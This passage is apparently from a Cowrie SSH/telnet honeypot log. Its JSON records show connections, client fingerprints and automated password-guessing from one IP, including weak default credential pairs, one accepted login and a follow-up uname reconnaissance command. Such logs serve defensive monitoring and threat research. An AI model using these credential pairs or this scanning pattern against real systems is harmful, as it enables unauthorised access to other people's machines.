{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:49.483586Z","src_ip":"192.109.200.237","session":"78bfce96764d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:49.566115Z","src_ip":"192.109.200.237","session":"78bfce96764d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.540905475616455,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:49.662147Z","src_ip":"50.6.8.71","session":"b4cc1ad8cfec","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"nvidia","password":"nvidia","message":"login attempt [nvidia/nvidia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:49.816394Z","src_ip":"192.109.200.237","session":"78bfce96764d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:50.902283Z","src_ip":"192.109.200.237","session":"78bfce96764d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60708,"dst_ip":"159.203.135.109","dst_port":22,"session":"d058eaf888c9","protocol":"ssh","message":"New connection: 192.109.200.237:60708 (159.203.135.109:22) [session: d058eaf888c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:52.833549Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:52.838337Z","src_ip":"192.109.200.237","session":"d058eaf888c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:52.921992Z","src_ip":"192.109.200.237","session":"d058eaf888c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"data","password":"data","message":"login attempt [data/data] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:53.175697Z","src_ip":"192.109.200.237","session":"d058eaf888c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:54.282819Z","src_ip":"192.109.200.237","session":"d058eaf888c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":43724,"dst_ip":"10.17.0.5","dst_port":23,"session":"ddc260b869c4","protocol":"telnet","message":"New connection: 50.6.8.71:43724 (10.17.0.5:23) [session: ddc260b869c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:54.489078Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60722,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8771c0bd327","protocol":"ssh","message":"New connection: 192.109.200.237:60722 (159.203.135.109:22) [session: e8771c0bd327]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:56.237403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:56.349912Z","src_ip":"192.109.200.237","session":"e8771c0bd327","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:56.353757Z","src_ip":"192.109.200.237","session":"e8771c0bd327","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"password","message":"login attempt [student/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:56.704659Z","src_ip":"192.109.200.237","session":"e8771c0bd327","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:57.792528Z","src_ip":"192.109.200.237","session":"e8771c0bd327","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60746,"dst_ip":"159.203.135.109","dst_port":22,"session":"e50cdc79f4d3","protocol":"ssh","message":"New connection: 192.109.200.237:60746 (159.203.135.109:22) [session: e50cdc79f4d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:59.896871Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:59.901797Z","src_ip":"192.109.200.237","session":"e50cdc79f4d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:59.984165Z","src_ip":"192.109.200.237","session":"e50cdc79f4d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vivek","password":"vivek","message":"login attempt [vivek/vivek] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:00.235338Z","src_ip":"192.109.200.237","session":"e50cdc79f4d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:01.324572Z","src_ip":"192.109.200.237","session":"e50cdc79f4d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.702073097229004,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:03.121557Z","src_ip":"143.20.79.95","session":"b79c30125ebe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":53296,"dst_ip":"159.203.135.109","dst_port":22,"session":"8138d4220ac4","protocol":"ssh","message":"New connection: 192.109.200.237:53296 (159.203.135.109:22) [session: 8138d4220ac4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:03.376260Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:03.381200Z","src_ip":"192.109.200.237","session":"8138d4220ac4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:03.465750Z","src_ip":"192.109.200.237","session":"8138d4220ac4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tom","password":"123456","message":"login attempt [tom/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:03.719178Z","src_ip":"192.109.200.237","session":"8138d4220ac4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:04.805547Z","src_ip":"192.109.200.237","session":"8138d4220ac4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.158743381500244,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:06.306173Z","src_ip":"50.6.8.71","session":"78ca0f4f3630","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":53304,"dst_ip":"159.203.135.109","dst_port":22,"session":"709ae09a64cb","protocol":"ssh","message":"New connection: 192.109.200.237:53304 (159.203.135.109:22) [session: 709ae09a64cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:06.958026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:06.962975Z","src_ip":"192.109.200.237","session":"709ae09a64cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:07.045708Z","src_ip":"192.109.200.237","session":"709ae09a64cb","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle123","message":"login attempt [oracle/oracle123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:07.292679Z","src_ip":"192.109.200.237","session":"709ae09a64cb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:07.494695Z","src_ip":"192.109.200.237","session":"709ae09a64cb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:07.498009Z","src_ip":"192.109.200.237","session":"709ae09a64cb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:07.582866Z","src_ip":"192.109.200.237","session":"709ae09a64cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:07.587888Z","src_ip":"192.109.200.237","session":"709ae09a64cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.242.3.105","src_port":52700,"dst_ip":"159.203.135.109","dst_port":23,"session":"7cb5ba3ab0dd","protocol":"telnet","message":"New connection: 103.242.3.105:52700 (159.203.135.109:23) [session: 7cb5ba3ab0dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:09.962417Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":60920,"dst_ip":"10.17.0.5","dst_port":23,"session":"f15ed7fa5e28","protocol":"telnet","message":"New connection: 50.6.8.71:60920 (10.17.0.5:23) [session: f15ed7fa5e28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:10.361109Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":34596,"dst_ip":"159.203.135.109","dst_port":22,"session":"9bf597f31f0a","protocol":"ssh","message":"New connection: 192.109.200.237:34596 (159.203.135.109:22) [session: 9bf597f31f0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:10.404807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:10.409267Z","src_ip":"192.109.200.237","session":"9bf597f31f0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:10.491598Z","src_ip":"192.109.200.237","session":"9bf597f31f0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q@W3e4r","message":"login attempt [root/!Q@W3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:10.739123Z","src_ip":"192.109.200.237","session":"9bf597f31f0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:11.825831Z","src_ip":"192.109.200.237","session":"9bf597f31f0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":60928,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb902b1c47f5","protocol":"telnet","message":"New connection: 50.6.8.71:60928 (10.17.0.5:23) [session: cb902b1c47f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:13.213934Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":34612,"dst_ip":"159.203.135.109","dst_port":22,"session":"b8edf87d82fa","protocol":"ssh","message":"New connection: 192.109.200.237:34612 (159.203.135.109:22) [session: b8edf87d82fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:13.776878Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:13.799560Z","src_ip":"192.109.200.237","session":"b8edf87d82fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2